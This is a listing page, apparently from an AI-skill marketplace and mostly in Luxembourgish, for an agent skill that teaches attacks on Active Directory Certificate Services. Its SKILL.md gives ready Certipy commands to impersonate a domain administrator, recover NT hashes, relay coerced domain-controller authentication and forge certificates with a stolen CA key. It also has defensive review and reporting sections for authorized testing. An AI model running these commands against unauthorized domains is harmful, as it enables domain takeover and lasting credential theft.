Logo: Abusing Adcs

Abusing Adcs

Communautéit
trilwu
abusing-adcs

Enumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes that gate several of them. Use when a domain has a certificate authority, when Certipy or BloodHound reports vulnerable templates, or when escalating from a low-privilege domain user.

Iwwersiicht

Editeurtrilwu
Repositorysecskills
Skill-Nummabusing-adcs
Stären
144
Forks
15
Matgeliwwert Dateien
Nëmmen Instruktiounen
LizenzMIT
Linken
  • Instruktiounen am Markdown-Format

    Eng SKILL.md-Datei, déi de Modell bei Bedarf luet, soudatt nëmmen Token ufalen, wann eng Ufro tatsächlech dozou passt.

  • Funktionéiert mat all LLM

    KI-Skills si reng Markdown, keen ubidderspezifesche Code. Dofir funktionéiert dëse Skill mat GPT, Claude, Gemini, Grok oder engem lokale Modell.

  • Alles an den Instruktiounen

    Alles, wat de Modell brauch, steet an den Instruktiounen — keng zousätzlech Dateien ze synchroniséieren.

  • Open Source

    trilwu huet de Skill op GitHub verëffentlecht. Liest de Quelltext, ier Dir de Skill installéiert.

Installatioun

Installéiert de KI-Skill Abusing Adcs an TypingMind, fir e mat all LLM ze benotzen, oder setzt en an en anere KI-Agent an, deen SKILL.md liest.

1

An TypingMind installéieren

TypingMind installéiert e Skill direkt aus sengem GitHub-Dossier — dobäi gëtt SKILL.md gelies, d'Ressourcedateie gi gebëndelt an d'Resultat gëtt lokal gespäichert.

  1. Maacht d'App op a gitt op Plugins → Skills.
  2. Wielt „Vu GitHub installéieren“.
  3. Pecht d'URL vum Skill-Dossier, déi hei drënner steet, an a bestätegt d'Installatioun.
    https://github.com/trilwu/secskills/tree/main/secskills-offense/skills/abusing-adcs
  4. Aktivéiert de Skill an all Chat, an deem Dir e benotze wëllt.
Plugins → Skills → Skill derbäisetzen → Iwwer eng GitHub-URL. Pecht dann d'URL vum Dossier an a klickt op Weider.
2

An engem anere KI-Agent installéieren

All KI-Agent, deen d'Format Agent Skills liest, kann dëse Skill benotzen — kopéiert den Dossier an d'Skill-Verzeechnes vun deem KI-Agent.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/trilwu/secskills.git /tmp/secskills
mkdir -p .claude/skills
cp -r /tmp/secskills/secskills-offense/skills/abusing-adcs .claude/skills/abusing-adcs
Start Claude Code nom Kopéieren nei, fir datt den neie Skill erkannt gëtt.

An TypingMind benotzen

Aktivéiert Abusing Adcs an engem Chat vun TypingMind, an de Modell iwwerhëlt de Rescht. Den Numm an d'Beschreiwung stinn am System-Prompt. Soubal eng Ufro dozou passt, luet de Modell déi komplett Instruktioune selwer — Dir musst de Skill ni manuell opruffen, an et fale keng Token un, bis en tatsächlech benotzt gëtt.

De Modell luet Abusing Adcs automatesch, soubal eng Ufro dozou passt.

Funktionéiert mat all KI-Modell

KI-Skills si reng Markdown-Instruktiounen amplaz vun ubidderspezifeschem Code. Dofir ass Abusing Adcs net un de Modell gebonnen, fir deen de Skill geschriwwe gouf. Installéiert en eemol an TypingMind a benotzt e mat GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama oder engem lokale Modell, deen Dir selwer bedreift — alles mat Ären eegenen API-Schlësselen.

  • Gëtt nëmme gelueden, wann et néideg ass

    De System-Prompt enthält nëmmen den Numm an d'Beschreiwung. D'Instruktioune gi bei der éischter passender Ufro gelueden, soudatt en onbenotzte Skill näischt kascht.

  • De Modell am lafende Chat wiesselen

    Well de Skill aus Instruktiounen amplaz vu Code besteet, funktionéiert en och no engem Modellwiessel — den nächste Modell liest déi selwecht SKILL.md-Datei.

Skill-Instruktiounen

Dëst ass den Inhalt vu SKILL.md, deen de Modell luet. Liest e virun der Installatioun — e Skill besteet aus Instruktiounen, déi Äre Modell befollegt.

Abusing AD CS

A certificate authority in an Active Directory domain is usually the shortest path from a standard user to domain administrator, because certificate templates are permission objects that almost nobody audits. A single template that lets the enrollee supply their own subject name is a full domain compromise, and it is the default on more networks than it should be.

Only against domains you are authorized to test.

When to Use

  • The domain has a CA (pKIEnrollmentService objects exist)
  • certipy find or BloodHound reports vulnerable templates
  • You have any domain credential and need a privilege escalation path
  • You need durable domain persistence that survives a password reset
  • Reviewing PKI configuration defensively

When NOT to Use

  • General AD attacks (Kerberoasting, DCSync, lateral movement) — use attacking-active-directory
  • Delegation abuse — use attacking-kerberos-delegation
  • Entra ID / cloud PKI — use attacking-entra-id
  • Detecting these attacks — use engineering-detections; certificate request events (4886/4887) are the primary telemetry

Enumerate First

bash
# Certipy — the standard tool; run this before anything else
certipy find -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 -vulnerable -stdout
certipy find -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 -old-bloodhound

# From Windows
Certify.exe find /vulnerable
Certify.exe cas                      # CA hosts, flags, and enrollment endpoints

certipy find -vulnerable names the ESC number directly, which is why it is the first command. Read the output for: who can enroll, whether the requester supplies the subject, which EKUs are present, and whether manager approval is required.

The Escalation Paths

Grouped by what is misconfigured, because the fix and the detection differ.

Template misconfiguration — the common cases

IDConditionResult
ESC1Enrollee supplies subject (ENROLLEE_SUPPLIES_SUBJECT) + client-auth EKU + low-priv enrollment + no approvalRequest a cert as any user, including a domain admin
ESC2Any Purpose EKU (or no EKU) + low-priv enrollmentCert usable for client auth; same outcome as ESC1
ESC3Certificate Request Agent EKUEnroll on behalf of another user
ESC9CT_FLAG_NO_SECURITY_EXTENSION setCert lacks the SID binding, enabling weak-mapping abuse
ESC15v1 template with enrollee-supplied subject, application policies injectableClient auth via application policy, bypassing the EKU restriction
bash
# ESC1 — the canonical path
certipy req -u user@domain.local -p 'Password' -dc-ip 10.0.0.10 \
  -ca 'CORP-CA' -template 'VulnTemplate' -upn 'administrator@domain.local'

# Authenticate with the certificate and recover the NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
# → TGT plus the account's NT hash

Access-control misconfiguration

IDConditionResult
ESC4You have write over a template objectReconfigure it into an ESC1 template, use it, then restore
ESC5Write over PKI objects, CA computer object, or the containerVarious, up to CA control
ESC7ManageCA or ManageCertificates on the CAEnable ESC6, or approve your own pending request
bash
# ESC4 — make it vulnerable, use it, put it back
certipy template -u user@domain.local -p 'Password' -template 'WriteableTemplate' -save-old
# ... request as in ESC1 ...
certipy template -u user@domain.local -p 'Password' -template 'WriteableTemplate' -configuration WriteableTemplate.json

Restoring the template is not optional. Leaving a template in a vulnerable state is a real change to the client's security posture, and doing so unannounced is a finding against you, not them. -save-old first, restore immediately, and record both actions with timestamps.

CA misconfiguration

IDConditionResult
ESC6EDITF_ATTRIBUTESUBJECTALTNAME2 on the CAAny template becomes subject-suppliable
ESC16Security extension disabled CA-wideEvery issued cert lacks SID binding
bash
# Check the CA flags
certutil -config "CA-HOST\CORP-CA" -getreg policy\EditFlags

Relay paths

IDConditionResult
ESC8Web enrollment (/certsrv) reachable, no EPA/HTTPS bindingRelay NTLM to enrollment, get a cert for the relayed machine
ESC11ICertPassage RPC without packet integrityRelay over RPC instead of HTTP
bash
# ESC8: coerce authentication from a DC, relay it to web enrollment
certipy relay -ca 10.0.0.20 -template DomainController
# in another shell, coerce:
coercer coerce -u user -p 'Password' -t 10.0.0.10 -l 10.0.0.100
# or PetitPotam / printerbug
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10     # → DC machine account → DCSync

Certificate mapping

IDConditionResult
ESC10Weak certificate mapping registry valuesImpersonate via UPN or altSecurityIdentities
ESC13Template with an issuance policy linked to a groupCert grants that group's membership
ESC14Write access to altSecurityIdentitiesMap your certificate to a target account

Strong certificate binding changes the picture. After the May 2022 updates (KB5014754), domain controllers can require certificates to carry the SID security extension, and StrongCertificateBindingEnforcement governs how strictly. On a fully-enforcing domain, ESC9, ESC10, and Certifried (CVE-2022-26923) stop working, while ESC1, ESC4, ESC6, and ESC8 do not. Check the enforcement level before reporting a path as exploitable:

bash
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement
# 0 = disabled, 1 = compatibility (default for a period), 2 = full enforcement

Persistence

Certificates are the most durable AD persistence available, which is exactly why they matter in a report.

  • A user certificate remains valid for its lifetime through password resets. Resetting the compromised account does not evict the attacker.
  • Stealing the CA's private key (THEFT2 / Golden Certificate) allows forging certificates for any principal, indefinitely, offline. Recovering from that requires re-issuing the PKI.
  • Revocation is the only remedy, and most environments do not check CRLs promptly or at all.
bash
# Extract the CA key with local admin on the CA host (DPAPI-protected)
certipy ca -backup -u user@domain.local -p 'Password' -ca 'CORP-CA'
# Forge offline
certipy forge -ca-pfx ca.pfx -upn administrator@domain.local

State this explicitly when reporting: "password resets do not remediate this; the issued certificates must be revoked" is the sentence that changes the client's response plan.

Defensive Review

When the engagement is a configuration review rather than an attack:

  • Which templates allow enrollee-supplied subjects, and who can enroll?
  • Which templates have client-auth or Any-Purpose EKUs available to Domain Users or Authenticated Users?
  • Is manager approval required on sensitive templates?
  • Is EDITF_ATTRIBUTESUBJECTALTNAME2 set anywhere?
  • Is web enrollment exposed, and does it enforce HTTPS with EPA?
  • Is StrongCertificateBindingEnforcement at full enforcement?
  • Who holds ManageCA and ManageCertificates?
  • Is certificate issuance monitored (events 4886, 4887, 4899, 4900)?

Rationalizations to Reject

  • "The template requires manager approval, so it's safe." Check ESC7 — a ManageCertificates holder approves their own request.
  • "Only Domain Admins can enroll." Read the ACL rather than the name. Groups nest, and Authenticated Users appears more often than expected.
  • "We patched for Certifried." That closes one path. ESC1 and ESC8 are configuration, not patchable.
  • "We reset the compromised account's password." The certificate is still valid. Revoke it.
  • "It's an internal CA, low severity." An internal CA that issues domain authentication certificates is a domain admin equivalent.
  • "BloodHound didn't show it." Collect with a certificate-aware collector; older collections have no ADCS edges at all.
  • "I'll leave the template modified, it's easier." No.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Credential Access (TA0006)

  • T1649 Steal or Forge Authentication Certificates — see also attacking-active-directory

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References

  • attacking-active-directory — the wider domain attack path
  • attacking-kerberos-delegation — the other high-yield AD escalation family
  • engineering-detections — certificate issuance and template change telemetry
  • reporting-security-findings — how to state the revocation requirement
  • Certipy, Certify, PKIAudit, BloodHound (ADCS edges), Coercer, PetitPotam

Heefeg gestallte Froen

Wat mécht de KI-Skill Abusing Adcs?

Enumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes that gate several of them. Use when a domain has a certificate authority, when Certipy or BloodHound reports vulnerable templates, or when escalating from a low-privilege domain user.

Firwat Abusing Adcs op TypingMind benotzen?

Well Dir en eemol installéiert a mat all Modell benotze kënnt. Abusing Adcs besteet aus einfachem Markdown amplaz vun ubidderspezifeschem Code. Dee selwechte Skill funktionéiert also mat GPT-5, Claude, Gemini, Grok oder engem lokale Modell – an Dir kënnt de Modell matzen am Chat wiesselen, ouni datt de Skill ophält ze funktionéieren. TypingMind benotzt Är eegen API-Schlësselen, sou datt Dir d'Ubidder direkt bezuelt, amplaz en Abonnement pro Benotzerplaz ze bezuelen. Är Skills a Chats bleiwen an Ärem eegene Späicher.

Wéi installéieren ech Abusing Adcs an TypingMind?

Maacht an TypingMind Plugins → Skills → Vu GitHub installéieren op a setzt https://github.com/trilwu/secskills/tree/main/secskills-offense/skills/abusing-adcs an. TypingMind liest d'Datei SKILL.md an installéiert de Skill, deen Dir pro Chat aktivéiere kënnt.

Wéi eng KI-Modeller kënnen Abusing Adcs benotzen?

All Modell, deen Dir an TypingMind verbënnt. KI-Skills sinn einfach Markdown-Instruktiounen an net ubidderspezifesche Code. Dofir kënne GPT, Claude, Gemini, Grok a lokal Modeller dëse Skill lueden, wann eng Ufro dozou passt.

Wéi vill KI-Modeller kann ech mat Abusing Adcs benotzen?

Esou vill wéi Dir wëllt. Soulaang e Modell Skills ënnerstëtzt, kënnt Dir Abusing Adcs domat benotzen – zum Beispill mat GPT, Claude, Gemini, Grok, DeepSeek, Mistral oder Llama – alles op TypingMind mat Ären eegenen API-Schlësselen.

Ass de KI-Skill Abusing Adcs gratis?

Jo. trilwu huet de Skill ënner der Lizenz MIT op GitHub publizéiert. Dir bezuelt nëmmen Ären eegene KI-Ubidder fir d'Token, déi Dir benotzt.

Wat si KI-Skills?

E KI-Skill ass e weiderverwendbare Pak vun Instruktiounen, deen engem KI-Modell bäibréngt, wéi en eng bestëmmt Aufgab erfëllt. E follegt dem oppenen Agent Skills-Format: eng Datei SKILL.md mat engem Numm an enger Beschreiwung, plus all Scripten, Virlagen oder Referenzdateien, déi de Modell eventuell brauch. De Modell liest d'Instruktiounen eréischt, wann Är Ufro zum Skill passt. En installéierte Skill kascht also näischt, bis e benotzt gëtt.

Wéi ënnerscheede sech KI-Skills vu Plugins oder MCP-Serveren?

E Plugin oder MCP-Server gëtt engem Modell nei Tools, déi en opruffe kann – Code, deen iergendwou leeft an e Resultat zeréckgëtt. E KI-Skill gëtt dem Modell dogéint Wëssen an eng Virgoensweis: wéi en eng Aufgab ugeet, wéi eng Schrëtt e maache soll a wéi eng gutt Ausgab ausgesäit. Skills bestinn aus einfachem Markdown, brauche kee Server, keen API-Schlëssel a kee Lafzäitëmfeld a funktionéiere mat all Modell.

Alleguer weisen

Elo Ären eegene KI-Aarbechtsberäich ariichten

Abonnéiert Iech op eisen Newsletter, fir iwwer nei Funktiounen an zukünfteg Gewënnspiller informéiert ze ginn 👇